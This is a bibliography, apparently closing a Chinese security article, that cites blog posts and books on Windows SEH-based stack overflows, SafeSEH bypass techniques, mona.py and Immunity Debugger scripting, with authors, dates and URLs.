[5] chen_sunn,开始写Immunity Debugger PyCommand.[DB/OL].

https://blog.csdn.net/chen_sunn/article/details/45113065,2015-04-18

[6] BugMeOut.为windbg安装mona.py[DB/OL].

http://blog.csdn.net/bugmeout/article/details/45199139,2015-04-22

[7]王清.0Day安全:软件漏洞分析技术[M].第二版.电子工业出版社,2011

[8]看雪翻译.Exploit编写教程[PDF],2010

[9] Umiade.SafeSEH原理及绕过技术浅析[DB/OL].

https://blog.csdn.net/qq_19550513/article/details/64438170,2017-03-21

[10] swartz_lubel,栈溢出笔记1.10 基于SEH的栈溢出[DB/OL].

https://blog.csdn.net/swartz_lubel/article/details/77921893,2017-09-10

[11]zhou191954./SafeSEH编译选项 : 原理及绕过技术浅析[DB/OL]

.https://blog.csdn.net/zhou191954/article/details/38020481,2014-07-21

[12] woijal520.Win32 SEH 详解[DB/OL].

https://blog.csdn.net/woijal520/article/details/7191665,2012-01-10

[13]Yx0051.利用未启用SafeSEH模块绕过SafeSEH[DB/OL].

https://blog.csdn.net/Yx0051/article/details/76803514,2017-08-07

原文链接:https://www.anquanke.com/post/id/189093

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